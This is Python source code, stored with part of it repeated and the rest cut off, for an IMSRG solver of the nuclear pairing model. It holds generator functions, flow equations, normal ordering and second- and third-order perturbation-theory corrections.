eta1B[q,t] * Gamma[idx2B[(p,t)],idx2B[(r,s)]] - eta1B[t,r] * Gamma[idx2B[(p,q)],idx2B[(t,s)]] - eta1B[t,s] * Gamma[idx2B[(p,q)],idx2B[(r,t)]] - f[p,t] * eta2B[idx2B[(t,q)],idx2B[(r,s)]] - f[q,t] * eta2B[idx2B[(p,t)],idx2B[(r,s)]] + f[t,r] * eta2B[idx2B[(p,q)],idx2B[(t,s)]] + f[t,s] * eta2B[idx2B[(p,q)],idx2B[(r,t)]] ) # 2B - 2B - particle and hole ladders # eta2B.occB.Gamma etaGamma = dot(eta2B, dot(occB_2B, Gamma)) dGamma += 0.5 * (etaGamma + transpose(etaGamma)) # 2B - 2B - particle-hole chain # transform matrices to particle-hole representation and calculate # eta2B_ph.occA_ph.Gamma_ph eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B) Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B) etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph)) # transform back to standard representation etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B) # commutator / antisymmetrization work = np.zeros_like(etaGamma) for i1, (i,j) in enumerate(bas2B): for i2, (k,l) in enumerate(bas2B): work[i1, i2] -= ( etaGamma[i1, i2] - etaGamma[idx2B[(j,i)], i2] - etaGamma[i1, idx2B[(l,k)]] + etaGamma[idx2B[(j,i)], idx2B[(l,k)]] ) etaGamma = work dGamma += etaGamma return dE, df, dGamma #----------------------------------------------------------------------------------- # derivative wrapper #----------------------------------------------------------------------------------- def get_operator_from_y(y, dim1B, dim2B): # reshape the solution vector into 0B, 1B, 2B pieces ptr = 0 zero_body = y[ptr] ptr += 1 one_body = reshape(y[ptr:ptr+dim1B*dim1B], (dim1B, dim1B)) ptr += dim1B*dim1B two_body = reshape(y[ptr:ptr+dim2B*dim2B], (dim2B, dim2B)) return zero_body,one_body,two_body def derivative_wrapper(t, y, user_data): dim1B = user_data["dim1B"] dim2B = dim1B*dim1B holes = user_data["holes"] particles = user_data["particles"] bas1B = user_data["bas1B"] bas2B = user_data["bas2B"] basph2B = user_data["basph2B"] idx2B = user_data["idx2B"] idxph2B = user_data["idxph2B"] occA_2B = user_data["occA_2B"] occB_2B = user_data["occB_2B"] occC_2B = user_data["occC_2B"] occphA_2B = user_data["occphA_2B"] calc_eta = user_data["calc_eta"] calc_rhs = user_data["calc_rhs"] # extract operator pieces from solution vector E, f, Gamma = get_operator_from_y(y, dim1B, dim2B) # calculate the generator eta1B, eta2B = calc_eta(f, Gamma, user_data) # calculate the right-hand side dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data) # convert derivatives into linear array dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1))) # share data user_data["dE"] = dE user_data["eta_norm"] = np.linalg.norm(eta1B,ord='fro')+np.linalg.norm(eta2B,ord='fro') return dy #----------------------------------------------------------------------------------- # pairing Hamiltonian #----------------------------------------------------------------------------------- def pairing_hamiltonian(delta, g, user_data): bas1B = user_data["bas1B"] bas2B = user_data["bas2B"] idx2B = user_data["idx2B"] dim = len(bas1B) H1B = np.zeros((dim,dim)) for i in bas1B: H1B[i,i] = delta*np.floor_divide(i, 2) dim = len(bas2B) H2B = np.zeros((dim, dim)) # spin up states have even indices, spin down the next odd index for (i, j) in bas2B: if (i % 2 == 0 and j == i+1): for (k, l) in bas2B: if (k % 2 == 0 and l == k+1): H2B[idx2B[(i,j)],idx2B[(k,l)]] = -0.5*g H2B[idx2B[(j,i)],idx2B[(k,l)]] = 0.5*g H2B[idx2B[(i,j)],idx2B[(l,k)]] = 0.5*g H2B[idx2B[(j,i)],idx2B[(l,k)]] = -0.5*g return H1B, H2B #----------------------------------------------------------------------------------- # normal-ordered pairing Hamiltonian #----------------------------------------------------------------------------------- def normal_order(H1B, H2B, user_data): bas1B = user_data["bas1B"] bas2B = user_data["bas2B"] idx2B = user_data["idx2B"] particles = user_data["particles"] holes = user_data["holes"] # 0B part E = 0.0 for i in holes: E += H1B[i,i] for i in holes: for j in holes: E += 0.5*H2B[idx2B[(i,j)],idx2B[(i,j)]] # 1B part f = H1B for i in bas1B: for j in bas1B: for h in holes: f[i,j] += H2B[idx2B[(i,h)],idx2B[(j,h)]] # 2B part Gamma = H2B return E, f, Gamma #----------------------------------------------------------------------------------- # Perturbation theory #----------------------------------------------------------------------------------- def calc_mbpt2(f, Gamma, user_data): DE2 = 0.0 particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] for i in holes: for j in holes: for a in particles: for b in particles: denom = f[i,i] + f[j,j] - f[a,a] - f[b,b] me = Gamma[idx2B[(a,b)],idx2B[(i,j)]] DE2 += 0.25*me*me/denom return DE2 def calc_mbpt3(f, Gamma, user_data): particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # DE3 = 0.0 DE3pp = 0.0 DE3hh = 0.0 DE3ph = 0.0 for a in particles: for b in particles: for c in particles: for d in particles: for i in holes: for j in holes: denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[i,i] + f[j,j] - f[c,c] - f[d,d]) me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(a,b)],idx2B[(c,d)]]* Gamma[idx2B[(c,d)],idx2B[(i,j)]]) DE3pp += 0.125*me/denom for i in holes: for j in holes: for k in holes: for l in holes: for a in particles: for b in particles: denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[l,l] - f[a,a] - f[b,b]) me = (Gamma[idx2B[(a,b)],idx2B[(k,l)]]*Gamma[idx2B[(k,l)],idx2B[(i,j)]]* Gamma[idx2B[(i,j)],idx2B[(a,b)]]) DE3hh += 0.125*me/denom for i in holes: for j in holes: for k in holes: for a in particles: for b in particles: for c in particles: denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[j,j] - f[a,a] - f[c,c]) me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(k,b)],idx2B[(i,c)]]* Gamma[idx2B[(a,c)],idx2B[(k,j)]]) DE3ph -= me/denom return DE3pp+DE3hh+DE3ph #------------------------------------------------------------------------------ # Main program #------------------------------------------------------------------------------ def main(): # grab delta and g from the command line delta = float(argv[1]) g = float(argv[2]) particles = 4 # setup shared data dim1B = 8 # this defines the reference state # 1st state holes = [0,1,2,3] particles = [4,5,6,7] # 2nd state # holes = [0,1,4,5] # particles = [2,3,6,7] # 3rd state # holes = [0,1,6,7] # particles = [2,3,4,5] # basis definitions bas1B = range(dim1B) bas2B = construct_basis_2B(holes, particles) basph2B = construct_basis_ph2B(holes, particles) idx2B = construct_index_2B(bas2B) idxph2B = construct_index_2B(basph2B) # occupation number matrices occ1B = construct_occupation_1B(bas1B, holes, particles) occA_2B = construct_occupationA_2B(bas2B, occ1B) occB_2B = construct_occupationB_2B(bas2B, occ1B) occC_2B = construct_occupationC_2B(bas2B, occ1B) occphA_2B = construct_occupationA_2B(basph2B, occ1B) # store shared data in a dictionary, so we can avoid passing the basis # lookups etc. as separate parameters all the time user_data = { "dim1B": dim1B, "holes": holes, "particles": particles, "bas1B": bas1B, "bas2B": bas2B, "basph2B": basph2B, "idx2B": idx2B, "idxph2B": idxph2B, "occ1B": occ1B, "occA_2B": occA_2B, "occB_2B": occB_2B, "occC_2B": occC_2B, "occphA_2B": occphA_2B, "eta_norm": 0.0, # variables for sharing data between ODE solver "dE": 0.0, # and main routine "calc_eta": eta_white_atan, # specify the generator (function object) "calc_rhs": flow_imsrg2 # specify the right-hand side and truncation } # set up initial Hamiltonian H1B, H2B = pairing_hamiltonian(delta, g, user_data) E, f, Gamma = normal_order(H1B, H2B, user_data) # reshape Hamiltonian into a linear array (initial ODE vector) y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1))) # integrate flow equations solver = ode(derivative_wrapper,jac=None) solver.set_integrator('vode', method='bdf', order=5, nsteps=1000) solver.set_f_params(user_data) solver.set_initial_value(y0, 0.) sfinal = 50 ds = 0.1 print("%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s"%( "s", "E" , "DE(2)", "DE(3)", "E+DE", "dE/ds", "||eta||", "||fod||", "||Gammaod||")) print("-" * 148) while solver.successful() and solver.t < sfinal: ys = solver.integrate(sfinal, step=True) dim2B = dim1B*dim1B E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B) DE2 = calc_mbpt2(f, Gamma, user_data) DE3 = calc_mbpt3(f, Gamma, user_data) norm_fod = calc_fod_norm(f, user_data) norm_Gammaod = calc_Gammaod_norm(Gamma, user_data) print("%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f"%( solver.t, E , DE2, DE3, E+DE2+DE3, user_data["dE"], user_data["eta_norm"], norm_fod, norm_Gammaod)) if abs(DE2/E) < 10e-8: break return #------------------------------------------------------------------------------ # make executable #------------------------------------------------------------------------------ if __name__ == "__main__": main()
[ "#!/usr/bin/env python\n\n#------------------------------------------------------------------------------\n# imsrg_pairing.py\n#\n# author: H. Hergert \n# version: 1.5.0\n# date: Dec 6, 2016\n# \n# tested with Python v2.7\n# \n# Solves the pairing model for four particles in a basis of four doubly \n# degenerate states by means of an In-Medium Similarity Renormalization \n# Group (IMSRG) flow.\n#\n#------------------------------------------------------------------------------\n\nimport numpy as np\nfrom numpy import array, dot, diag, reshape, transpose\nfrom scipy.linalg import eigvalsh\nfrom scipy.integrate import odeint, ode\n\nfrom sys import argv\n\n#-----------------------------------------------------------------------------------\n# basis and index functions\n#-----------------------------------------------------------------------------------\n\ndef construct_basis_2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n\n for i in holes:\n for a in particles:\n basis.append((i, a))\n\n for a in particles:\n for i in holes:\n basis.append((a, i))\n\n for a in particles:\n for b in particles:\n basis.append((a, b))\n\n return basis\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n\n for i in holes:\n for a in particles:\n basis.append((i, a))\n\n for a in particles:\n for i in holes:\n basis.append((a, i))\n\n for a in particles:\n for b in particles:\n basis.append((a, b))\n\n return basis\n\n\n#\n# We use dictionaries for the reverse lookup of state indices\n#\ndef construct_index_2B(bas2B):\n index = { }\n for i, state in enumerate(bas2B):\n index[state] = i\n\n return index\n\n\n\n#-----------------------------------------------------------------------------------\n# transform matrices to particle-hole representation\n#-----------------------------------------------------------------------------------\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n\n for i1, (a,b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[(a,d)], idx2B[(c,b)]]\n\n return Gamma_ph\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n\n for i1, (a,b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[(a,d)], idxph2B[(c,b)]]\n \n return Gamma\n\n#-----------------------------------------------------------------------------------\n# commutator of matrices\n#-----------------------------------------------------------------------------------\ndef commutator(a,b):\n return dot(a,b) - dot(b,a)\n\n#-----------------------------------------------------------------------------------\n# norms of off-diagonal Hamiltonian pieces\n#-----------------------------------------------------------------------------------\ndef calc_fod_norm(f, user_data):\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n \n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a,i]**2 + f[i,a]**2\n\n return np.sqrt(norm)\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n norm = 0.0\n for a in particles: \n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[(a,b)],idx2B[(i,j)]]**2 + Gamma[idx2B[(i,j)],idx2B[(a,b)]]**2\n\n return np.sqrt(norm)\n\n#-----------------------------------------------------------------------------------\n# occupation number matrices\n#-----------------------------------------------------------------------------------\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n\n for i in holes:\n occ[i] = 1.\n\n return occ\n\n# diagonal matrix: n_a - n_b\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim,dim))\n\n for i1, (i,j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n\n return occ\n\n\n# diagonal matrix: 1 - n_a - n_b\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim,dim))\n\n for i1, (i,j) in enumerate(bas2B):\n occ[i1, i1] = 1. - occ1B[i] - occ1B[j]\n\n return occ\n\n# diagonal matrix: n_a * n_b\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim,dim))\n\n for i1, (i,j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n\n return occ\n\n#-----------------------------------------------------------------------------------\n# generators\n#-----------------------------------------------------------------------------------\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n # (1-n_a)n_i - n_a(1-n_i) = n_i - n_a\n eta1B[a, i] = f[a,i]\n eta1B[i, a] = -f[a,i]\n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[(a,b)], idx2B[(i,j)]]\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n dE = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]\n val = np.sign(dE)*f[a,i]\n eta1B[a, i] = val\n eta1B[i, a] = -val \n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = ( \n f[a,a] + f[b,b] - f[i,i] - f[j,j] \n + Gamma[idx2B[(a,b)],idx2B[(a,b)]] \n + Gamma[idx2B[(i,j)],idx2B[(i,j)]]\n - Gamma[idx2B[(a,i)],idx2B[(a,i)]] \n - Gamma[idx2B[(a,j)],idx2B[(a,j)]] \n - Gamma[idx2B[(b,i)],idx2B[(b,i)]] \n - Gamma[idx2B[(b,j)],idx2B[(b,j)]] \n )\n\n val = np.sign(dE)*Gamma[idx2B[(a,b)], idx2B[(i,j)]]\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]\n val = f[a,i]/denom\n eta1B[a, i] = val\n eta1B[i, a] = -val \n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = ( \n f[a,a] + f[b,b] - f[i,i] - f[j,j] \n + Gamma[idx2B[(a,b)],idx2B[(a,b)]] \n + Gamma[idx2B[(i,j)],idx2B[(i,j)]]\n - Gamma[idx2B[(a,i)],idx2B[(a,i)]] \n - Gamma[idx2B[(a,j)],idx2B[(a,j)]] \n - Gamma[idx2B[(b,i)],idx2B[(b,i)]] \n - Gamma[idx2B[(b,j)],idx2B[(b,j)]] \n )\n\n val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n denom = f[a,a] - f[i,i]\n val = f[a,i]/denom\n eta1B[a, i] = val\n eta1B[i, a] = -val \n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = ( \n f[a,a] + f[b,b] - f[i,i] - f[j,j] \n )\n\n val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data[\"dim1B\"]\n particles = user_data[\"particles\"]\n holes = user_data[\"holes\"]\n idx2B = user_data[\"idx2B\"]\n\n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n for a in particles:\n for i in holes:\n denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]\n val = 0.5 * np.arctan(2 * f[a,i]/denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val \n\n # two-body part of the generator\n eta2B = np.zeros_like(Gamma)\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = ( \n f[a,a] + f[b,b] - f[i,i] - f[j,j] \n + Gamma[idx2B[(a,b)],idx2B[(a,b)]] \n + Gamma[idx2B[(i,j)],idx2B[(i,j)]] \n - Gamma[idx2B[(a,i)],idx2B[(a,i)]] \n - Gamma[idx2B[(a,j)],idx2B[(a,j)]] \n - Gamma[idx2B[(b,i)],idx2B[(b,i)]] \n - Gamma[idx2B[(b,j)],idx2B[(b,j)]] \n )\n\n val = 0.5 * np.arctan(2 * Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom)\n\n eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val\n eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val\n\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n\n dim1B = user_data[\"dim1B\"]\n holes = user_data[\"holes\"]\n particles = user_data[\"particles\"]\n bas2B = user_data[\"bas2B\"]\n basph2B = user_data[\"basph2B\"]\n idx2B = user_data[\"idx2B\"]\n idxph2B = user_data[\"idxph2B\"]\n occB_2B = user_data[\"occB_2B\"]\n occC_2B = user_data[\"occC_2B\"]\n occphA_2B = user_data[\"occphA_2B\"]\n\n\n # split Hamiltonian in diagonal and off-diagonal parts\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n\n for a in particles:\n for i in holes:\n fod[a, i] = f[a,i]\n fod[i, a] = f[i,a]\n fd = f - fod\n\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[(a,b)], idx2B[(i,j)]] = Gamma[idx2B[(a,b)], idx2B[(i,j)]]\n Gammaod[idx2B[(i,j)], idx2B[(a,b)]] = Gamma[idx2B[(i,j)], idx2B[(a,b)]]\n Gammad = Gamma - Gammaod\n\n\n ############################# \n # one-body part of the generator\n eta1B = np.zeros_like(f)\n\n # 1B - 1B\n eta1B += commutator(fd, fod)\n\n # 1B - 2B\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p,q] += (\n fd[i,a] * Gammaod[idx2B[(a, p)], idx2B[(i, q)]] \n - fd[a,i] * Gammaod[idx2B[(i, p)], idx2B[(a, q)]] \n - fod[i,a] * Gammad[idx2B[(a, p)], idx2B[(i, q)]] \n + fod[a,i] * Gammad[idx2B[(i, p)], idx2B[(a, q)]]\n )\n\n # 2B - 2B\n # n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p,q] += 0.5*(\n GammaGamma[idx2B[(i,p)], idx2B[(i,q)]] \n - transpose(GammaGamma)[idx2B[(i,p)], idx2B[(i,q)]]\n )\n\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p,q] += 0.5*(\n GammaGamma[idx2B[(r,p)], idx2B[(r,q)]] \n + transpose(GammaGamma)[idx2B[(r,p)], idx2B[(r,q)]] \n )\n\n\n ############################# \n # two-body flow equation \n eta2B = np.zeros_like(Gamma)\n\n # 1B - 2B\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[(p,q)],idx2B[(r,s)]] += (\n fd[p,t] * Gammaod[idx2B[(t,q)],idx2B[(r,s)]] \n + fd[q,t] * Gammaod[idx2B[(p,t)],idx2B[(r,s)]] \n - fd[t,r] * Gammaod[idx2B[(p,q)],idx2B[(t,s)]] \n - fd[t,s] * Gammaod[idx2B[(p,q)],idx2B[(r,t)]]\n - fod[p,t] * Gammad[idx2B[(t,q)],idx2B[(r,s)]] \n - fod[q,t] * Gammad[idx2B[(p,t)],idx2B[(r,s)]] \n + fod[t,r] * Gammad[idx2B[(p,q)],idx2B[(t,s)]] \n + fod[t,s] * Gammad[idx2B[(p,q)],idx2B[(r,t)]]\n )\n\n \n # 2B - 2B - particle and hole ladders\n # Gammad.occB.Gammaod\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n\n # 2B - 2B - particle-hole chain\n \n # transform matrices to particle-hole representation and calculate \n # Gammad_ph.occA_ph.Gammaod_ph\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n\n # transform back to standard representation\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B)\n\n # commutator / antisymmetrization\n work = np.zeros_like(GammaGamma)\n for i1, (i,j) in enumerate(bas2B):\n for i2, (k,l) in enumerate(bas2B):\n work[i1, i2] -= (\n GammaGamma[i1, i2] \n - GammaGamma[idx2B[(j,i)], i2] \n - GammaGamma[i1, idx2B[(l,k)]] \n + GammaGamma[idx2B[(j,i)], idx2B[(l,k)]]\n )\n GammaGamma = work\n\n eta2B += GammaGamma\n\n\n return eta1B, eta2B\n\n\n#-----------------------------------------------------------------------------------\n# derivatives \n#-----------------------------------------------------------------------------------\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n\n dim1B = user_data[\"dim1B\"]\n holes = user_data[\"holes\"]\n particles = user_data[\"particles\"]\n bas2B = user_data[\"bas2B\"]\n idx2B = user_data[\"idx2B\"]\n basph2B = user_data[\"basph2B\"]\n idxph2B = user_data[\"idxph2B\"]\n occB_2B = user_data[\"occB_2B\"]\n occC_2B = user_data[\"occC_2B\"]\n occphA_2B = user_data[\"occphA_2B\"]\n\n ############################# \n # zero-body flow equation\n dE = 0.0\n\n for i in holes:\n for a in particles:\n dE += eta1B[i,a] * f[a,i] - eta1B[a,i] * f[i,a]\n\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[(i,j)], idx2B[(a,b)]] * Gamma[idx2B[(a,b)], idx2B[(i,j)]]\n\n\n ############################# \n # one-body flow equation \n df = np.zeros_like(f)\n\n # 1B - 1B\n df += commutator(eta1B, f)\n\n # 1B - 2B\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p,q] += (\n eta1B[i,a] * Gamma[idx2B[(a, p)], idx2B[(i, q)]] \n - eta1B[a,i] * Gamma[idx2B[(i, p)], idx2B[(a, q)]] \n - f[i,a] * eta2B[idx2B[(a, p)], idx2B[(i, q)]] \n + f[a,i] * eta2B[idx2B[(i, p)], idx2B[(a, q)]]\n )\n\n # 2B - 2B\n # n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p,q] += 0.5*(\n etaGamma[idx2B[(i,p)], idx2B[(i,q)]] \n + transpose(etaGamma)[idx2B[(i,p)], idx2B[(i,q)]]\n )\n\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p,q] += 0.5*(\n etaGamma[idx2B[(r,p)], idx2B[(r,q)]] \n + transpose(etaGamma)[idx2B[(r,p)], idx2B[(r,q)]] \n )\n\n\n ############################# \n # two-body flow equation \n dGamma = np.zeros_like(Gamma)\n\n # 1B - 2B\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[(p,q)],idx2B[(r,s)]] += (\n eta1B[p,t] * Gamma[idx2B[(t,q)],idx2B[(r,s)]] \n + eta1B[q,t] * Gamma[idx2B[(p,t)],idx2B[(r,s)]] \n - eta1B[t,r] * Gamma[idx2B[(p,q)],idx2B[(t,s)]] \n - eta1B[t,s] * Gamma[idx2B[(p,q)],idx2B[(r,t)]]\n - f[p,t] * eta2B[idx2B[(t,q)],idx2B[(r,s)]] \n - f[q,t] * eta2B[idx2B[(p,t)],idx2B[(r,s)]] \n + f[t,r] * eta2B[idx2B[(p,q)],idx2B[(t,s)]] \n + f[t,s] * eta2B[idx2B[(p,q)],idx2B[(r,t)]]\n )\n\n \n # 2B - 2B - particle and hole ladders\n # eta2B.occB.Gamma\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n\n # 2B - 2B - particle-hole chain\n \n # transform matrices to particle-hole representation and calculate \n # eta2B_ph.occA_ph.Gamma_ph\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n\n # transform back to standard representation\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B)\n\n # commutator / antisymmetrization\n work = np.zeros_like(etaGamma)\n for i1, (i,j) in enumerate(bas2B):\n for i2, (k,l) in enumerate(bas2B):\n work[i1, i2] -= (\n etaGamma[i1, i2] \n - etaGamma[idx2B[(j,i)], i2] \n - etaGamma[i1, idx2B[(l,k)]] \n + etaGamma[idx2B[(j,i)], idx2B[(l,k)]]\n )\n etaGamma = work\n\n dGamma += etaGamma\n\n\n return dE, df, dGamma\n\n\n#-----------------------------------------------------------------------------------\n# derivative wrapper\n#-----------------------------------------------------------------------------------\ndef get_operator_from_y(y, dim1B, dim2B):\n \n # reshape the solution vector into 0B, 1B, 2B pieces\n ptr = 0\n zero_body = y[ptr]\n\n ptr += 1\n one_body = reshape(y[ptr:ptr+dim1B*dim1B], (dim1B, dim1B))\n\n ptr += dim1B*dim1B\n two_body = reshape(y[ptr:ptr+dim2B*dim2B], (dim2B, dim2B))\n\n return zero_body,one_body,two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n\n dim1B = user_data[\"dim1B\"]\n dim2B = dim1B*dim1B\n\n\n holes = user_data[\"holes\"]\n particles = user_data[\"particles\"]\n bas1B = user_data[\"bas1B\"]\n bas2B = user_data[\"bas2B\"]\n basph2B = user_data[\"basph2B\"]\n idx2B = user_data[\"idx2B\"]\n idxph2B = user_data[\"idxph2B\"]\n occA_2B = user_data[\"occA_2B\"]\n occB_2B = user_data[\"occB_2B\"]\n occC_2B = user_data[\"occC_2B\"]\n occphA_2B = user_data[\"occphA_2B\"]\n calc_eta = user_data[\"calc_eta\"]\n calc_rhs = user_data[\"calc_rhs\"]\n\n # extract operator pieces from solution vector\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n\n\n # calculate the generator\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n\n # calculate the right-hand side\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n\n # convert derivatives into linear array\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n\n # share data\n user_data[\"dE\"] = dE\n user_data[\"eta_norm\"] = np.linalg.norm(eta1B,ord='fro')+np.linalg.norm(eta2B,ord='fro')\n \n return dy\n\n#-----------------------------------------------------------------------------------\n# pairing Hamiltonian\n#-----------------------------------------------------------------------------------\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data[\"bas1B\"]\n bas2B = user_data[\"bas2B\"]\n idx2B = user_data[\"idx2B\"]\n\n dim = len(bas1B)\n H1B = 